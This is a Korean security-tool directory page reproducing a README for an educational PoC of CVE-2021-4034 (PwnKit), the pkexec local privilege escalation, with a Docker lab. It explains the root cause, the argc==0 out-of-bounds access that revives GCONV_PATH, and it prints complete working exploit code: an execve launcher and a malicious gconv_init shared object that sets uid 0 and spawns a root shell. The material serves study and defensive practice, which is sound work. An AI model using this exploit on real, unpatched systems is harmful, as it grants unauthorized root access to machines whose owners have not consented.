Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
WHS4_CVE-2021-4034 — polkit의 pkexec에서 로컬 권한 상승 취약점인 CVE-2021-4034(PwnKit)에 대한 교육용 PoC 및 분석으로, 실습 악용 및 방어 연습을 위한 Docker 기반 랩을 포함합니다. | Kitploit
도구/GitHubGitHub/krleejihyeong/whs4_cve-2021-4034
Privilege EscalationVulnerability AnalysisExploitationCTFPenetration TestingLearning & EducationBinary ExploitationLabs & Practice
GitHubkrleejihyeong/whs4_cve-2021-4034

WHS4_CVE-2021-4034

polkit의 pkexec에서 로컬 권한 상승 취약점인 CVE-2021-4034(PwnKit)에 대한 교육용 PoC 및 분석으로, 실습 악용 및 방어 연습을 위한 Docker 기반 랩을 포함합니다.

저장소 보기
142개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-4034 (PwnKit) - Local Privilege Escalation PoC

🔗 원본 프로젝트: berdav/CVE-2021-4034
이 프로젝트는 원본을 기반으로 교육 목적으로 분석 및 수정한 버전입니다.
MIT License 준수 | White Hat School 교육 과제


📋 개요

CVE-2021-4034는 Linux policykit-1(PolicyKit)의 로컬 권한 상승 취약점이다. 일반 사용자가 pkexec를 인자 없이 실행시켜 프로세스 메모리 구조의 허점을 이용하고, 이를 통해 원래는 걸러졌어야 할 환경변수 문자열을 glib이 다시 참조하게 만들어 악의적인 .so 파일을 로드시킴으로써 root 권한을 획득할 수 있다.

⚠️ 교육 목적 전용: 이 코드는 수정된 시스템에서만 사용해야 합니다.
실제 시스템 공격에 사용하면 법적 책임이 발생할 수 있습니다.


🎯 취약점 요약

항목내용
CVE IDCVE-2021-4034
취약점명PwnKit
영향받는 버전polkit 0.105 이전 패치가 적용되지 않은 버전 전반 (테스트 환경 기준: Ubuntu 20.04의 policykit-1 0.105-26ubuntu1)
취약점 타입Local Privilege Escalation (LPE)
심각도Critical (CVSS 7.8)
패치 버전policykit-1 >= 0.105-26ubuntu1.1
발견일2021년 6월 (공개는 2022년 1월)

Ubuntu만의 문제로 오해하기 쉬운데, pkexec 자체의 로직 결함이라 polkit을 쓰는 배포판이면 대부분 영향을 받는다. Docker 테스트 환경이 Ubuntu 20.04라 위 표엔 그 버전을 같이 적어뒀다.


🔴 취약점의 핵심

처음 분석할 때는 "환경변수를 검증 안 해서 생긴 문제"인 줄 알았는데, 소스코드랑 패치 커밋을 같이 보니 순서가 좀 다르다는 걸 알게 됐다. 진짜 원인은 따로 있고, 환경변수 문제는 그 원인 때문에 벌어지는 결과 쪽에 가깝다. 아래는 그 흐름을 원인 순서대로 정리한 것.

1. pkexec란?

pkexec는 PolicyKit을 통해 권한 상승을 요청하는 SUID-root 프로그램이다.

# 예: root 권한으로 명령어 실행
pkexec /bin/id
pkexec systemctl restart service

일반 사용자가 관리자 권한으로 특정 작업을 수행할 때 쓰인다.


2. 진짜 근본 원인: pkexec가 argc == 0인 경우를 예외처리하지 않음

pkexec의 main() 함수는 명령줄 인자를 처리하는 부분에서, 인자가 하나도 없이 실행된 경우(argc == 0)를 검증하지 않는다. 이게 이 취약점의 진짜 시작점이다.

  • 정상적인 실행: argv = {"pkexec", "명령어", NULL} → argc >= 1
  • 공격 시 실행: execve("/usr/bin/pkexec", {NULL}, env) → argc == 0

argc가 0이면 argv 리스트에는 종료를 뜻하는 NULL 하나만 남는다. 그런데 pkexec 내부 로직은 이 상황에서도 존재하지 않는 argv[1]을 읽고 쓰려고 시도한다. 문제는 리눅스가 프로세스를 실행할 때 argv 배열과 envp(환경변수) 배열을 메모리상 바로 옆에 붙여서 배치한다는 점이다. 그래서 범위를 벗어난 argv[1]은 사실 envp[0], 즉 첫 번째 환경변수를 그대로 가리키게 된다.

정상 상황:  argv = [ "pkexec" | NULL ]
공격 상황:  argv = [ NULL ]                 ← argc = 0
                    ↑
             존재하지 않는 argv[1]에 접근
                    ↓
      메모리상 바로 뒤에 있는 envp[0]을 읽고 쓰게 됨 (out-of-bounds)

왜 이게 위험한가:

  • 원래 ld.so는 SUID 프로그램(pkexec)이 실행되기 전에 GCONV_PATH, LD_PRELOAD 같은 위험한 환경변수를 안전하지 않은 것으로 판단해 제거한다.
  • 그런데 위 OOB 동작 때문에, 이미 제거된 문자열이 "환경변수로 복원"되는 게 아니라 argv 포인터 쪽에서 그 문자열을 다시 참조 가능한 상태가 된다. 즉 값이 되살아나는 게 아니라, 그 값을 가리키는 포인터 연결이 다시 생기는 것에 가깝다.
  • 실제 패치 커밋도 argc < 1이면 즉시 종료하도록 검증 로직을 추가하는 방식으로 이 부분을 고쳤다. (CWE-125 out-of-bounds read, CWE-787 out-of-bounds write에 해당)

📌 정리하면: 환경변수 미검증은 "공격이 통하는 조건"이고, 진짜 취약점(root cause)은 pkexec가 argc == 0인 경우를 처리하지 않은 것이다. 아래 3번은 이 원인 때문에 벌어지는 결과 쪽이다.


3. 결과: 걸러졌어야 할 문자열이 다시 참조 가능해짐

2번에서 설명한 OOB 동작 덕분에, pkexec가 glib을 초기화하는 과정에서 이 문자열이 검증되지 않은 채로 다시 쓰이게 된다.

// CVE-2021-4034_exploit.c
char * const env[] = {
    "GCONV_PATH=.",      // 원래는 ld.so가 걸러냈어야 함
    "CHARSET=PWNKIT",    // 존재하지 않는 인코딩
};

execve("/usr/bin/pkexec", args, env);  // argv는 비워서 argc=0을 만듦

문제:

  • 2번의 OOB로 인해 이 문자열이 다시 참조 가능한 상태가 되어 glib 초기화 단계까지 그대로 흘러들어감
  • glib 입장에서는 이 값이 원래 있던 정상 환경변수인지, 공격자가 되살린 것인지 구분할 방법이 없음

4. glib의 Converter 로드 메커니즘 악용

여기서 중요한 건, glib 자체는 잘못한 게 없다는 점이다. GCONV_PATH가 설정되어 있으면 그 경로에서 converter를 찾는 건 glib의 정상 동작이다. 문제는 pkexec가 secure execution 상태(위험한 환경변수가 제거된 상태)를 이미 깨뜨려놓은 뒤라는 것 — glib은 그저 정상적으로 동작했을 뿐인데, 그 정상 동작이 악용당하는 구조다.

  1. CHARSET 환경변수 확인

    CHARSET=PWNKIT
    
  2. gconv-modules 파일에서 converter 정의 검색

    module UTF-8// PWNKIT// pwnkit 1
    
  3. GCONV_PATH에서 .so 파일 로드

    GCONV_PATH=. → 현재 디렉토리에서 pwnkit.so 검색
    
  4. .so 파일의 초기화 함수 자동 실행

    // pwnkit.c - .so 파일 로드 시 자동으로 실행됨
    void gconv_init(void *step)
    {
        setuid(0);           // root 권한 획득
        setgid(0);
        execve("/bin/sh");   // root shell 실행!
    }
    

    gconv_init을 "생성자 함수"라고 부르기 쉬운데, 엄밀히는 C의 __attribute__((constructor))와는 다르다. 정확히는 gconv 모듈 인터페이스에서 정의된 초기화 함수이고, glib이 dlopen으로 .so를 로드한 뒤 이 함수를 명시적으로 호출하는 것이다.


5. 전체 공격 흐름

┌─────────────────────────────────────┐
│ 일반 사용자 (uid=1000)               │
└─────────────────────────────────────┘
          │
          │ 1. argv 비우고 pkexec 실행 (argc=0)
          │    + 악의적 환경변수 설정
          │    GCONV_PATH=.  /  CHARSET=PWNKIT
          ↓
┌─────────────────────────────────────┐
│ pkexec 실행                          │
│ argc 검증 없음 → OOB → 문자열 재참조 │
└─────────────────────────────────────┘
          │
          │ 2. glib이 정상 동작대로 처리
          │    CHARSET=PWNKIT 인코딩 검색
          │    GCONV_PATH=.에서 converter 찾음
          ↓
┌─────────────────────────────────────┐
│ pwnkit.so 로드                       │
│ (현재 디렉토리의 악의적 .so 파일)     │
└─────────────────────────────────────┘
          │
          │ 3. gconv 초기화 함수 자동 실행 (root 권한!)
          ↓
┌─────────────────────────────────────┐
│ root shell 획득 ✅                   │
│ uid=0(root) gid=0(root)              │
└─────────────────────────────────────┘

🚀 빠른 시작

필수 요구사항

  • Docker (또는 Docker Desktop)
  • git
  • Linux 환경 (또는 WSL 2)

실행 명령어

# 1. 프로젝트 받기
git clone https://github.com/krleejihyeong/WHS4_CVE-2021-4034.git
cd WHS4_CVE-2021-4034

# 2. 최신 버전 확인
git pull origin main

# 3. 빌드 (캐시 없이)
docker compose build --no-cache

# 4. 실행
docker compose up

docker system prune -a --volumes --force는 캐시나 볼륨이 꼬여서 위 방법으로 안 될 때만 쓰는 걸 추천한다. 시스템 전체의 Docker 캐시를 지우는 꽤 공격적인 명령이라, 다른 프로젝트 캐시까지 같이 날아갈 수 있다. 관련 내용은 아래 "겪었던 문제 및 해결 방법"에 따로 정리해뒀다.

예상 결과

pwnkit  | 현재 권한 (공격 전): uid=1000(WHS4_student)
pwnkit  | # id
pwnkit  | uid=0(root) gid=0(root) groups=0(root)  ← 성공! ✅

실제 결과


📁 프로젝트 구조

WHS4_CVE-2021-4034/
├── docker-compose.yml          # Docker Compose 설정
├── Dockerfile                   # 취약 Ubuntu 20.04 환경
├── start.sh                     # 컨테이너 초기화 및 자동 실행
├── Makefile                     # 빌드 설정
├── CVE-2021-4034_exploit.c      # Exploit 코드 (pkexec 호출)
├── pwnkit.c                     # 악의적 .so 파일 (권한 상승)
├── gconv-modules                # glib converter 매핑
├── README.md                    # 이 파일
└── LICENSE                      # MIT License

💻 PoC 코드 분석

CVE-2021-4034_exploit.c

#include <unistd.h>

int main(int argc, char *argv[])
{
    // pkexec에 실행할 프로그램을 지정하지 않음
    // (args에 NULL만 있음) → 이게 곧 argc=0을 만드는 부분
    char * const args[] = {
        NULL
    };

    // 🔴 검증되지 않은 악의적 환경변수
    // argc=0으로 인한 OOB 덕분에 다시 참조 가능해져 pkexec에 그대로 전달됨
    char * const env[] = {
        "GCONV_PATH=.",          // converter 경로 (현재 디렉토리)
        "CHARSET=PWNKIT",        // 존재하지 않는 인코딩
        "SHELL=/bin/sh",
        "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
        NULL
    };

    // pkexec 실행 (인자 없이 → argc=0 트리거)
    execve("/usr/bin/pkexec", args, env);

    return 0;
}

핵심:

  • args에 pkexec 자체 이름조차 넣지 않아 argc가 0이 되도록 만듦 → 근본 원인(argc 미검증) 트리거
  • GCONV_PATH=. : OOB로 다시 참조 가능해진 뒤 glib이 이 경로에서 converter를 검색
  • CHARSET=PWNKIT : glib이 이 인코딩의 converter를 찾도록 유도

pwnkit.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// .so 파일을 converter로 인식하기 위한 함수 (형식상 필요)
void gconv()
{
}

// 🎯 CVE-2021-4034의 핵심
// .so 파일 로드 시 glib이 dlopen 후 명시적으로 호출하는 초기화 함수
// 이 함수가 root 권한으로 실행된다! ← 핵심 취약점!
void gconv_init(void *step)
{
    char * const args[] = {
        "/bin/sh",      // root shell 실행
        NULL
    };
    char * const env[] = {
        "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
        NULL
    };

    // root 권한 명시적 설정 (이미 root이지만)
    setuid(0);
    setgid(0);

    // root shell 실행 ← 권한 상승 성공!
    execve(args[0], args, env);

    exit(0);
}
도구 다운로드